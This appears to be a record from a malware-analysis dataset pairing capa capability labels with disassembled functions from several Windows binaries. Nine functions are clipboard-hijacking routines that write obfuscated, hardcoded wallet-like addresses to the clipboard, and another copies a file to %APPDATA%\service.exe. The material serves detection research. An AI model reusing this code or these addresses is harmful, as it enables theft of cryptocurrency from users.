joyce8/EMBER2024-capa huggingface dataset:
Function at 0x401d50
Capabilities:
Contain obfuscated stackstrings
Open clipboard
Write clipboard data

Disassembly:
push ebx
mov eax, 0x736a
sub esp, 0x48
mov dword [esp + 4], 0x23
mov dword [esp], 0x2002
mov dword [esp + 0x1d], 0x714c564c
mov dword [esp + 0x21], 0x416b386f
mov dword [esp + 0x25], 0x6d746b77
mov dword [esp + 0x29], 0x32337644
mov dword [esp + 0x2d], 0x72666363
mov dword [esp + 0x31], 0x52664633
mov dword [esp + 0x35], 0x68565161
mov dword [esp + 0x39], 0x7275546a
mov word [esp + 0x3d], ax
mov byte [esp + 0x3f], 0
call sub.KERNEL32.dll_GlobalAlloc
sub esp, 8
mov ebx, eax
mov dword [esp], eax
call sub.KERNEL32.dll_GlobalLock
sub esp, 4
mov edx, dword [esp + 0x1d]
mov dword [eax], edx
mov edx, dword [esp + 0x21]
mov dword [eax + 4], edx
mov edx, dword [esp + 0x25]
mov dword [eax + 8], edx
mov edx, dword [esp + 0x29]
mov dword [eax + 0xc], edx
mov edx, dword [esp + 0x2d]
mov dword [eax + 0x10], edx
mov edx, dword [esp + 0x31]
mov dword [eax + 0x14], edx
mov edx, dword [esp + 0x35]
mov dword [eax + 0x18], edx
mov edx, dword [esp + 0x39]
mov dword [eax + 0x1c], edx
movzx edx, word [esp + 0x3d]
mov word [eax + 0x20], dx
movzx edx, byte [esp + 0x3f]
mov byte [eax + 0x22], dl
mov dword [esp], ebx
call sub.KERNEL32.dll_GlobalUnlock
sub esp, 4
mov dword [esp], 0
call sub.USER32.dll_OpenClipboard
sub esp, 4
test eax, eax
je 0x401e4a
call sub.USER32.dll_EmptyClipboard
mov dword [esp + 4], ebx
mov dword [esp], 1
call sub.USER32.dll_SetClipboardData
sub esp, 8
call sub.USER32.dll_CloseClipboard
add esp, 0x48
pop ebx
ret

Function at 0x401e50
Capabilities:
Open clipboard
Write clipboard data

Disassembly:
push edi
push esi
mov ecx, 0x1a
push ebx
mov esi, 0x407067
add esp, 0xffffff80
mov eax, dword [str.4BsoP5LgTrpBE9NBuf12KWLNgD1oAcVsZAFke6VzxWFJb556k6NdeksjGwgKFTfENFV8Y7rAYrXfULAVaXT29iDA7PsewdSoQerLU42gEF]
lea edi, [esp + 0x18]
mov dword [esp + 0x15], eax
mov eax, dword [0x4070cb]
mov dword [esp + 0x7c], eax
rep movsd dword es:[edi], dword [esi]
mov dword [esp + 4], 0x6b
mov dword [esp], 0x2002
call sub.KERNEL32.dll_GlobalAlloc
sub esp, 8
mov ebx, eax
mov dword [esp], eax
call sub.KERNEL32.dll_GlobalLock
sub esp, 4
lea edi, [eax + 4]
mov edx, dword [esp + 0x15]
lea esi, [esp + 0x15]
and edi, 0xfffffffc
mov dword [eax], edx
mov edx, dword [esp + 0x7c]
mov dword [eax + 0x67], edx
sub eax, edi
lea ecx, [eax + 0x6b]
sub esi, eax
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov dword [esp], ebx
call sub.KERNEL32.dll_GlobalUnlock
sub esp, 4
mov dword [esp], 0
call sub.USER32.dll_OpenClipboard
sub esp, 4
test eax, eax
je 0x401efa
call sub.USER32.dll_EmptyClipboard
mov dword [esp + 4], ebx
mov dword [esp], 1
call sub.USER32.dll_SetClipboardData
sub esp, 8
call sub.USER32.dll_CloseClipboard
sub esp, 0xffffff80
pop ebx
pop esi
pop edi
ret
Function at 0x401f10
Capabilities:
Contain obfuscated stackstrings
Open clipboard
Write clipboard data

Disassembly:
push ebx
mov eax, 0x3779
sub esp, 0x48
mov dword [esp + 4], 0x23
mov dword [esp], 0x2002
mov dword [esp + 0x1d], 0x77447258
mov dword [esp + 0x21], 0x71537551
mov dword [esp + 0x25], 0x4e776845
mov dword [esp + 0x29], 0x68456643
mov dword [esp + 0x2d], 0x56425732
mov dword [esp + 0x31], 0x5a784663
mov dword [esp + 0x35], 0x5976534e
mov dword [esp + 0x39], 0x7a326f5a
mov word [esp + 0x3d], ax
mov byte [esp + 0x3f], 0
call sub.KERNEL32.dll_GlobalAlloc
sub esp, 8
mov ebx, eax
mov dword [esp], eax
call sub.KERNEL32.dll_GlobalLock
sub esp, 4
mov edx, dword [esp + 0x1d]
mov dword [eax], edx
mov edx, dword [esp + 0x21]
mov dword [eax + 4], edx
mov edx, dword [esp + 0x25]
mov dword [eax + 8], edx
mov edx, dword [esp + 0x29]
mov dword [eax + 0xc], edx
mov edx, dword [esp + 0x2d]
mov dword [eax + 0x10], edx
mov edx, dword [esp + 0x31]
mov dword [eax + 0x14], edx
mov edx, dword [esp + 0x35]
mov dword [eax + 0x18], edx
mov edx, dword [esp + 0x39]
mov dword [eax + 0x1c], edx
movzx edx, word [esp + 0x3d]
mov word [eax + 0x20], dx
movzx edx, byte [esp + 0x3f]
mov byte [eax + 0x22], dl
mov dword [esp], ebx
call sub.KERNEL32.dll_GlobalUnlock
sub esp, 4
mov dword [esp], 0
call sub.USER32.dll_OpenClipboard
sub esp, 4
test eax, eax
je 0x40200a
call sub.USER32.dll_EmptyClipboard
mov dword [esp + 4], ebx
mov dword [esp], 1
call sub.USER32.dll_SetClipboardData
sub esp, 8
call sub.USER32.dll_CloseClipboard
add esp, 0x48
pop ebx
ret

Function at 0x402010
Capabilities:
Contain obfuscated stackstrings
Open clipboard
Write clipboard data

Disassembly:
push ebx
mov eax, 0x7278
sub esp, 0x48
mov dword [esp + 4], 0x23
mov dword [esp], 0x2002
mov dword [esp + 0x1d], 0x31504d44
mov dword [esp + 0x21], 0x52447a34
mov dword [esp + 0x25], 0x4175554e
mov dword [esp + 0x29], 0x78357765
mov dword [esp + 0x2d], 0x64386f5a
mov dword [esp + 0x31], 0x77673775
mov dword [esp + 0x35], 0x43703343
mov dword [esp + 0x39], 0x63587951
mov word [esp + 0x3d], ax
mov byte [esp + 0x3f], 0
call sub.KERNEL32.dll_GlobalAlloc
sub esp, 8
mov ebx, eax
mov dword [esp], eax
call sub.KERNEL32.dll_GlobalLock
sub esp, 4
mov edx, dword [esp + 0x1d]
mov dword [eax], edx
mov edx, dword [esp + 0x21]
mov dword [eax + 4], edx
mov edx, dword [esp + 0x25]
mov dword [eax + 8], edx
mov edx, dword [esp + 0x29]
mov dword [eax + 0xc], edx
mov edx, dword [esp + 0x2d]
mov dword [eax + 0x10], edx
mov edx, dword [esp + 0x31]
mov dword [eax + 0x14], edx
mov edx, dword [esp + 0x35]
mov dword [eax + 0x18], edx
mov edx, dword [esp + 0x39]
mov dword [eax + 0x1c], edx
movzx edx, word [esp + 0x3d]
mov word [eax + 0x20], dx
movzx edx, byte [esp + 0x3f]
mov byte [eax + 0x22], dl
mov dword [esp], ebx
call sub.KERNEL32.dll_GlobalUnlock
sub esp, 4
mov dword [esp], 0
call sub.USER32.dll_OpenClipboard
sub esp, 4
test eax, eax
je 0x40210a
call sub.USER32.dll_EmptyClipboard
mov dword [esp + 4], ebx
mov dword [esp], 1
call sub.USER32.dll_SetClipboardData
sub esp, 8
call sub.USER32.dll_CloseClipboard
add esp, 0x48
pop ebx
ret
Function at 0x402110
Capabilities:
Contain obfuscated stackstrings
Open clipboard
Write clipboard data

Disassembly:
push ebx
sub esp, 0x48
mov dword [esp + 4], 0x24
mov dword [esp], 0x2002
mov dword [esp + 0x1c], 0x374e3174
mov dword [esp + 0x20], 0x504c344e
mov dword [esp + 0x24], 0x344a5175
mov dword [esp + 0x28], 0x5358616e
mov dword [esp + 0x2c], 0x31526d68
mov dword [esp + 0x30], 0x4174624e
mov dword [esp + 0x34], 0x35693458
mov dword [esp + 0x38], 0x6d374850
mov dword [esp + 0x3c], 0x524e6b
call sub.KERNEL32.dll_GlobalAlloc
sub esp, 8
mov ebx, eax
mov dword [esp], eax
call sub.KERNEL32.dll_GlobalLock
sub esp, 4
mov edx, dword [esp + 0x1c]
mov dword [eax], edx
mov edx, dword [esp + 0x20]
mov dword [eax + 4], edx
mov edx, dword [esp + 0x24]
mov dword [eax + 8], edx
mov edx, dword [esp + 0x28]
mov dword [eax + 0xc], edx
mov edx, dword [esp + 0x2c]
mov dword [eax + 0x10], edx
mov edx, dword [esp + 0x30]
mov dword [eax + 0x14], edx
mov edx, dword [esp + 0x34]
mov dword [eax + 0x18], edx
mov edx, dword [esp + 0x38]
mov dword [eax + 0x1c], edx
mov edx, dword [esp + 0x3c]
mov dword [eax + 0x20], edx
mov dword [esp], ebx
call sub.KERNEL32.dll_GlobalUnlock
sub esp, 4
mov dword [esp], 0
call sub.USER32.dll_OpenClipboard
sub esp, 4
test eax, eax
je 0x4021f9
call sub.USER32.dll_EmptyClipboard
mov dword [esp + 4], ebx
mov dword [esp], 1
call sub.USER32.dll_SetClipboardData
sub esp, 8
call sub.USER32.dll_CloseClipboard
add esp, 0x48
pop ebx
ret

Function at 0x402200
Capabilities:
Contain obfuscated stackstrings
Open clipboard
Write clipboard data

Disassembly:
push ebx
mov eax, 0x3559
sub esp, 0x48
mov dword [esp + 4], 0x23
mov dword [esp], 0x2002
mov dword [esp + 0x1d], 0x474a3372
mov dword [esp + 0x21], 0x4c693669
mov dword [esp + 0x25], 0x62477432
mov dword [esp + 0x29], 0x74685377
mov dword [esp + 0x2d], 0x4238376e
mov dword [esp + 0x31], 0x42515358
mov dword [esp + 0x35], 0x62696432
mov dword [esp + 0x39], 0x6d326847
mov word [esp + 0x3d], ax
mov byte [esp + 0x3f], 0
call sub.KERNEL32.dll_GlobalAlloc
sub esp, 8
mov ebx, eax
mov dword [esp], eax
call sub.KERNEL32.dll_GlobalLock
sub esp, 4
mov edx, dword [esp + 0x1d]
mov dword [eax], edx
mov edx, dword [esp + 0x21]
mov dword [eax + 4], edx
mov edx, dword [esp + 0x25]
mov dword [eax + 8], edx
mov edx, dword [esp + 0x29]
mov dword [eax + 0xc], edx
mov edx, dword [esp + 0x2d]
mov dword [eax + 0x10], edx
mov edx, dword [esp + 0x31]
mov dword [eax + 0x14], edx
mov edx, dword [esp + 0x35]
mov dword [eax + 0x18], edx
mov edx, dword [esp + 0x39]
mov dword [eax + 0x1c], edx
movzx edx, word [esp + 0x3d]
mov word [eax + 0x20], dx
movzx edx, byte [esp + 0x3f]
mov byte [eax + 0x22], dl
mov dword [esp], ebx
call sub.KERNEL32.dll_GlobalUnlock
sub esp, 4
mov dword [esp], 0
call sub.USER32.dll_OpenClipboard
sub esp, 4
test eax, eax
je 0x4022fa
call sub.USER32.dll_EmptyClipboard
mov dword [esp + 4], ebx
mov dword [esp], 1
call sub.USER32.dll_SetClipboardData
sub esp, 8
call sub.USER32.dll_CloseClipboard
add esp, 0x48
pop ebx
ret
Function at 0x402300
Capabilities:
Contain obfuscated stackstrings
Open clipboard
Write clipboard data

Disassembly:
push ebx
mov eax, 0x3538
sub esp, 0x58
mov dword [esp + 4], 0x3b
mov dword [esp], 0x2002
mov dword [esp + 0x15], 0x72646461
mov dword [esp + 0x19], 0x34797631
mov dword [esp + 0x1d], 0x7a79346e
mov dword [esp + 0x21], 0x6530356a
mov dword [esp + 0x25], 0x75687339
mov dword [esp + 0x29], 0x34726634
mov dword [esp + 0x2d], 0x30307a37
mov dword [esp + 0x31], 0x326d7573
mov dword [esp + 0x35], 0x6d686878
mov dword [esp + 0x39], 0x6571636a
mov dword [esp + 0x3d], 0x7032726a
mov dword [esp + 0x41], 0x75737775
mov dword [esp + 0x45], 0x71336e66
mov dword [esp + 0x49], 0x6a397570
mov word [esp + 0x4d], ax
mov byte [esp + 0x4f], 0
call sub.KERNEL32.dll_GlobalAlloc
sub esp, 8
mov ebx, eax
mov dword [esp], eax
call sub.KERNEL32.dll_GlobalLock
sub esp, 4
mov edx, dword [esp + 0x15]
mov dword [eax], edx
mov edx, dword [esp + 0x19]
mov dword [eax + 4], edx
mov edx, dword [esp + 0x1d]
mov dword [eax + 8], edx
mov edx, dword [esp + 0x21]
mov dword [eax + 0xc], edx
mov edx, dword [esp + 0x25]
mov dword [eax + 0x10], edx
mov edx, dword [esp + 0x29]
mov dword [eax + 0x14], edx
mov edx, dword [esp + 0x2d]
mov dword [eax + 0x18], edx
mov edx, dword [esp + 0x31]
mov dword [eax + 0x1c], edx
mov edx, dword [esp + 0x35]
mov dword [eax + 0x20], edx
mov edx, dword [esp + 0x39]
mov dword [eax + 0x24], edx
mov edx, dword [esp + 0x3d]
mov dword [eax + 0x28], edx
mov edx, dword [esp + 0x41]
mov dword [eax + 0x2c], edx
mov edx, dword [esp + 0x45]
mov dword [eax + 0x30], edx
mov edx, dword [esp + 0x49]
mov dword [eax + 0x34], edx
movzx edx, word [esp + 0x4d]
mov word [eax + 0x38], dx
movzx edx, byte [esp + 0x4f]
mov byte [eax + 0x3a], dl
mov dword [esp], ebx
call sub.KERNEL32.dll_GlobalUnlock
sub esp, 4
mov dword [esp], 0
call sub.USER32.dll_OpenClipboard
sub esp, 4
test eax, eax
je 0x402454
call sub.USER32.dll_EmptyClipboard
mov dword [esp + 4], ebx
mov dword [esp], 1
call sub.USER32.dll_SetClipboardData
sub esp, 8
call sub.USER32.dll_CloseClipboard
add esp, 0x58
pop ebx
ret
Function at 0x402460
Capabilities:
Contain obfuscated stackstrings
Open clipboard
Write clipboard data

Disassembly:
push ebx
mov eax, 0x6563
sub esp, 0x48
mov dword [esp + 4], 0x2b
mov dword [esp], 0x2002
mov dword [esp + 0x15], 0x31626e62
mov dword [esp + 0x19], 0x637a3971
mov dword [esp + 0x1d], 0x7a767536
mov dword [esp + 0x21], 0x77333078
mov dword [esp + 0x25], 0x73356633
mov dword [esp + 0x29], 0x32687335
mov dword [esp + 0x2d], 0x64776c65
mov dword [esp + 0x31], 0x6b327336
mov dword [esp + 0x35], 0x6d343930
mov dword [esp + 0x39], 0x35796534
mov word [esp + 0x3d], ax
mov byte [esp + 0x3f], 0
call sub.KERNEL32.dll_GlobalAlloc
sub esp, 8
mov ebx, eax
mov dword [esp], eax
call sub.KERNEL32.dll_GlobalLock
sub esp, 4
mov edx, dword [esp + 0x15]
mov dword [eax], edx
mov edx, dword [esp + 0x19]
mov dword [eax + 4], edx
mov edx, dword [esp + 0x1d]
mov dword [eax + 8], edx
mov edx, dword [esp + 0x21]
mov dword [eax + 0xc], edx
mov edx, dword [esp + 0x25]
mov dword [eax + 0x10], edx
mov edx, dword [esp + 0x29]
mov dword [eax + 0x14], edx
mov edx, dword [esp + 0x2d]
mov dword [eax + 0x18], edx
mov edx, dword [esp + 0x31]
mov dword [eax + 0x1c], edx
mov edx, dword [esp + 0x35]
mov dword [eax + 0x20], edx
mov edx, dword [esp + 0x39]
mov dword [eax + 0x24], edx
movzx edx, word [esp + 0x3d]
mov word [eax + 0x28], dx
movzx edx, byte [esp + 0x3f]
mov byte [eax + 0x2a], dl
mov dword [esp], ebx
call sub.KERNEL32.dll_GlobalUnlock
sub esp, 4
mov dword [esp], 0
call sub.USER32.dll_OpenClipboard
sub esp, 4
test eax, eax
je 0x402578
call sub.USER32.dll_EmptyClipboard
mov dword [esp + 4], ebx
mov dword [esp], 1
call sub.USER32.dll_SetClipboardData
sub esp, 8
call sub.USER32.dll_CloseClipboard
add esp, 0x48
pop ebx
ret
Function at 0x402580
Capabilities:
Contain obfuscated stackstrings
Open clipboard
Write clipboard data

Disassembly:
push ebx
mov eax, 0x3637
sub esp, 0x48
mov dword [esp + 4], 0x23
mov dword [esp], 0x2002
mov dword [esp + 0x1d], 0x52594754
mov dword [esp + 0x21], 0x37377350
mov dword [esp + 0x25], 0x4e625537
mov dword [esp + 0x29], 0x66616e54
mov dword [esp + 0x2d], 0x57523166
mov dword [esp + 0x31], 0x3675454d
mov dword [esp + 0x35], 0x4765644b
mov dword [esp + 0x39], 0x634a4342
mov word [esp + 0x3d], ax
mov byte [esp + 0x3f], 0
call sub.KERNEL32.dll_GlobalAlloc
sub esp, 8
mov ebx, eax
mov dword [esp], eax
call sub.KERNEL32.dll_GlobalLock
sub esp, 4
mov edx, dword [esp + 0x1d]
mov dword [eax], edx
mov edx, dword [esp + 0x21]
mov dword [eax + 4], edx
mov edx, dword [esp + 0x25]
mov dword [eax + 8], edx
mov edx, dword [esp + 0x29]
mov dword [eax + 0xc], edx
mov edx, dword [esp + 0x2d]
mov dword [eax + 0x10], edx
mov edx, dword [esp + 0x31]
mov dword [eax + 0x14], edx
mov edx, dword [esp + 0x35]
mov dword [eax + 0x18], edx
mov edx, dword [esp + 0x39]
mov dword [eax + 0x1c], edx
movzx edx, word [esp + 0x3d]
mov word [eax + 0x20], dx
movzx edx, byte [esp + 0x3f]
mov byte [eax + 0x22], dl
mov dword [esp], ebx
call sub.KERNEL32.dll_GlobalUnlock
sub esp, 4
mov dword [esp], 0
call sub.USER32.dll_OpenClipboard
sub esp, 4
test eax, eax
je 0x40267a
call sub.USER32.dll_EmptyClipboard
mov dword [esp + 4], ebx
mov dword [esp], 1
call sub.USER32.dll_SetClipboardData
sub esp, 8
call sub.USER32.dll_CloseClipboard
add esp, 0x48
pop ebx
ret

Function at 0x402d30
Capabilities:
Copy file
Move file

Disassembly:
push esi
push ebx
sub esp, 0x124
mov ebx, dword [esp + 0x134]
lea esi, [esp + 0x1c]
mov dword [esp + 4], str._APPDATA__service.exe
mov dword [esp], esi
mov dword [esp + 8], ebx
call sub.msvcrt.dll_sprintf
mov dword [esp + 4], esi
mov dword [esp], ebx
call sub.msvcrt.dll_rename
mov eax, dword [esp + 0x130]
mov dword [esp + 4], ebx
mov dword [esp + 8], 0
mov dword [esp], eax
call sub.KERNEL32.dll_CopyFileA
sub esp, 0xc
xor eax, eax
add esp, 0x124
pop ebx
pop esi
ret
Function at 0x4033d0
Capabilities:
Get thread local storage value

Disassembly:
push esi
push ebx
sub esp, 0x14
mov dword [esp], 0x40a044
call sub.KERNEL32.dll_EnterCriticalSection
mov ebx, dword [0x40a03c]
sub esp, 4
test ebx, ebx
je 0x40341b
nop
mov eax, dword [ebx]
mov dword [esp], eax
call sub.KERNEL32.dll_TlsGetValue
sub esp, 4
mov esi, eax
call sub.KERNEL32.dll_GetLastError
test eax, eax
jne 0x403414
test esi, esi
je 0x403414
mov eax, dword [ebx + 4]
mov dword [esp], esi
call eax
mov ebx, dword [ebx + 8]
test ebx, ebx
jne 0x4033f0
mov dword [esp], 0x40a044
call sub.KERNEL32.dll_LeaveCriticalSection
sub esp, 4
add esp, 0x14
pop ebx
pop esi
ret

Function at 0x403600
Capabilities:
Write file on windows

Disassembly:
push esi
push ebx
sub esp, 0x14
mov eax, dword [sym.imp.msvcrt.dll__iob]
mov dword [esp + 8], 0x17
mov dword [esp + 4], 1
lea esi, [esp + 0x24]
mov dword [esp], str.Mingw_runtime_failure:_n
lea ebx, [eax + 0x40]
mov dword [esp + 0xc], ebx
call sub.msvcrt.dll_fwrite
mov eax, dword [esp + 0x20]
mov dword [esp + 8], esi
mov dword [esp], ebx
mov dword [esp + 4], eax
call sub.msvcrt.dll_vfprintf
call sub.msvcrt.dll_abort
lea esi, [esi]

Function at 0x403650
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
push edi
mov edi, ecx
push esi
push ebx
mov ebx, eax
mov esi, edx
sub esp, 0x4c
lea eax, [esp + 0x24]
mov dword [esp + 8], 0x1c
mov dword [esp], ebx
mov dword [esp + 4], eax
call sub.KERNEL32.dll_VirtualQuery
sub esp, 0xc
test eax, eax
je 0x403728
mov eax, dword [esp + 0x38]
cmp eax, 0x40
je 0x40368e
cmp eax, 4
jne 0x4036b0
mov dword [esp + 8], edi
mov dword [esp + 4], esi
mov dword [esp], ebx
call sub.msvcrt.dll_memcpy
add esp, 0x4c
pop ebx
pop esi
pop edi
pop ebp
ret
mov eax, dword [esp + 0x30]
lea ebp, [esp + 0x20]
mov dword [esp + 8], 0x40
mov dword [esp + 0xc], ebp
mov dword [esp + 4], eax
mov eax, dword [esp + 0x24]
mov dword [esp], eax
call sub.KERNEL32.dll_VirtualProtect
sub esp, 0x10
mov edx, dword [esp + 0x38]
mov dword [esp + 8], edi
mov dword [esp + 4], esi
mov dword [esp], ebx
mov dword [esp + 0x1c], edx
call sub.msvcrt.dll_memcpy
mov edx, dword [esp + 0x1c]
cmp edx, 0x40
je 0x40369e
cmp edx, 4
je 0x40369e
mov eax, dword [esp + 0x20]
mov dword [esp + 0xc], ebp
mov dword [esp + 8], eax
mov eax, dword [esp + 0x30]
mov dword [esp + 4], eax
mov eax, dword [esp + 0x24]
mov dword [esp], eax
call sub.KERNEL32.dll_VirtualProtect
sub esp, 0x10
add esp, 0x4c
pop ebx
pop esi
pop edi
pop ebp
ret
mov dword [esp + 8], ebx
mov dword [esp + 4], 0x1c
mov dword [esp], str.__VirtualQuery_failed_for__d_bytes_at_address__p
call fcn.00403600
Function at 0x100264f
Capabilities:
Terminate process

Disassembly:
push 0x10
push 0x1002ca0
call fcn.010029a4
xor ebx, ebx
mov dword [ebp - 4], ebx
mov eax, dword fs:[0x18]
mov esi, dword [eax + 4]
mov dword [ebp - 0x1c], ebx
mov edi, 0x1004420
push ebx
push esi
push edi
call dword [sym.imp.KERNEL32.dll_InterlockedCompareExchange]
cmp eax, ebx
je 0x1002464
cmp eax, esi
jne 0x1002457
xor esi, esi
inc esi
mov dword [ebp - 0x1c], esi
jmp 0x1002467
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x100243e
xor esi, esi
inc esi
mov eax, dword [0x100441c]
cmp eax, esi
jne 0x100247a
push 0x1f
call sub.msvcrt.dll__amsg_exit
pop ecx
jmp 0x10024b5
mov eax, dword [0x100441c]
test eax, eax
jne 0x10024af
mov dword [0x100441c], esi
push 0x1001148
push 0x100113c
call fcn.010023bb
pop ecx
pop ecx
test eax, eax
je 0x10024b5
mov dword [ebp - 4], 0xfffffffe
mov eax, 0xff
jmp 0x100257f
mov dword [0x10040dc], esi
mov eax, dword [0x100441c]
cmp eax, esi
jne 0x10024d9
push 0x1001138
push 0x1001130
call sub.msvcrt.dll__initterm
pop ecx
pop ecx
mov dword [0x100441c], 2
cmp dword [ebp - 0x1c], ebx
jne 0x10024e6
push ebx
push edi
call dword [sym.imp.KERNEL32.dll_InterlockedExchange]
cmp dword [0x1004424], ebx
je 0x1002507
push 0x1004424
call fcn.01002919
pop ecx
test eax, eax
je 0x1002507
push ebx
push 2
push ebx
call dword [0x1004424]
push dword [0x10040c4]
push dword [0x10040c8]
push dword [0x10040c0]
call fcn.010013a0
add esp, 0xc
mov dword [0x10040d8], eax
cmp dword [0x10040cc], ebx
jne 0x1002565
push eax
call dword [sym.imp.msvcrt.dll_exit]
mov eax, dword [ebp - 0x14]
mov ecx, dword [eax]
mov ecx, dword [ecx]
mov dword [ebp - 0x20], ecx
push eax
push ecx
call sub.msvcrt.dll__XcptFilter
pop ecx
pop ecx
ret
cmp dword [0x10040dc], ebx
jne 0x1002573
call dword [sym.imp.msvcrt.dll__cexit]
mov dword [ebp - 4], 0xfffffffe
mov eax, dword [0x10040d8]
call fcn.010029e9
ret
call fcn.01002ac7
jmp 0x100241c

Function at 0x402000
Capabilities:
Encode data using xor

Disassembly:
call dword [sym.imp.kernel32.dll_GetACP]
call dword [sym.imp.kernel32.dll_GetModuleHandleA]
call fcn.0040142a
push 0x7eff
push 0
jmp loc.00409000
Function at 0xaa6370
Capabilities:
Extract resource via kernel32 functions

Disassembly:
mov eax, dword [esp + 4]
push ebx
push esi
push edi
push 0x1a
push eax
push 0
call dword [sym.imp.KERNEL32.dll_FindResourceW]
mov esi, eax
test esi, esi
jne 0xaa638e
pop edi
pop esi
xor al, al
pop ebx
ret
push esi
push 0
call dword [sym.imp.KERNEL32.dll_LoadResource]
push esi
push 0
mov edi, eax
call dword [sym.imp.KERNEL32.dll_SizeofResource]
push edi
mov ebx, eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov ecx, dword [esp + 0x14]
push 0xacf074
push ecx
mov edi, eax
call fcn.00aba198
mov esi, eax
add esp, 8
test esi, esi
jne 0xaa63cb
pop edi
pop esi
xor al, al
pop ebx
ret
push esi
push ebx
push 1
push edi
call fcn.00aba02e
push esi
call fcn.00ab9fb1
add esp, 0x14
mov al, 1
pop edi
pop esi
pop ebx
ret
Function at 0xaa9850
Capabilities:
Query or enumerate registry value

Disassembly:
mov ecx, dword [esp + 4]
sub esp, 0x218
lea eax, [esp]
push ebp
push esi
push edi
mov edi, dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
push eax
push 0x20019
push 0
push ecx
push SysReAllocString
call edi
test eax, eax
jne 0xaa98ae
mov ecx, dword [esp + 0xc]
mov ebp, dword [sym.imp.ADVAPI32.dll_RegQueryValueW]
lea edx, [esp + 0x10]
lea eax, [esp + 0x1c]
push edx
push eax
push 0xad4720
push ecx
mov dword [esp + 0x20], 0x104
call ebp
test eax, eax
je 0xaa98ba
mov edx, dword [esp + 0xc]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
xor eax, eax
pop edi
pop esi
pop ebp
add esp, 0x218
ret
mov eax, dword [esp + 0xc]
mov esi, dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push eax
call esi
lea ecx, [esp + 0x1c]
push str.DefaultIcon
push ecx
call fcn.00aba1e1
add esp, 8
lea edx, [esp + 0xc]
lea eax, [esp + 0x1c]
push edx
push 0x20019
push 0
push eax
push SysReAllocString
call edi
test eax, eax
jne 0xaa98ae
mov eax, dword [esp + 0xc]
lea ecx, [esp + 0x10]
lea edx, [esp + 0x1c]
push ecx
push edx
push 0xad4720
push eax
mov dword [esp + 0x20], 0x104
call ebp
test eax, eax
je 0xaa992a
mov ecx, dword [esp + 0xc]
push ecx
call esi
pop edi
pop esi
xor eax, eax
pop ebp
add esp, 0x218
ret
mov edx, dword [esp + 0xc]
push edx
call esi
lea eax, [esp + 0x1c]
push 0x2c
push eax
call fcn.00abb082
xor esi, esi
add esp, 8
cmp eax, esi
je 0xaa9957
mov word [eax], si
add eax, 2
push eax
call fcn.00abb030
add esp, 4
jmp 0xaa9959
xor eax, eax
lea ecx, [esp + 0x18]
push 1
lea edx, [esp + 0x18]
push ecx
push edx
push eax
lea eax, [esp + 0x2c]
mov dword [esp + 0x24], esi
push eax
mov dword [esp + 0x2c], esi
call dword [sym.imp.SHELL32.dll_ExtractIconExW]
test eax, eax
je 0xaa98ae
mov al, byte [esp + 0x22c]
test al, al
mov eax, dword [esp + 0x14]
jne 0xaa98b0
mov eax, dword [esp + 0x18]
pop edi
pop esi
pop ebp
add esp, 0x218
ret

Function at 0xaa9ff0
Capabilities:
Execute syscall

Disassembly:
push ebp
mov ebp, esp
push ecx
mov eax, dword [ebp + 8]
lea edx, [ebp + 0xc]
int 0x2e
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
mov esp, ebp
pop ebp
ret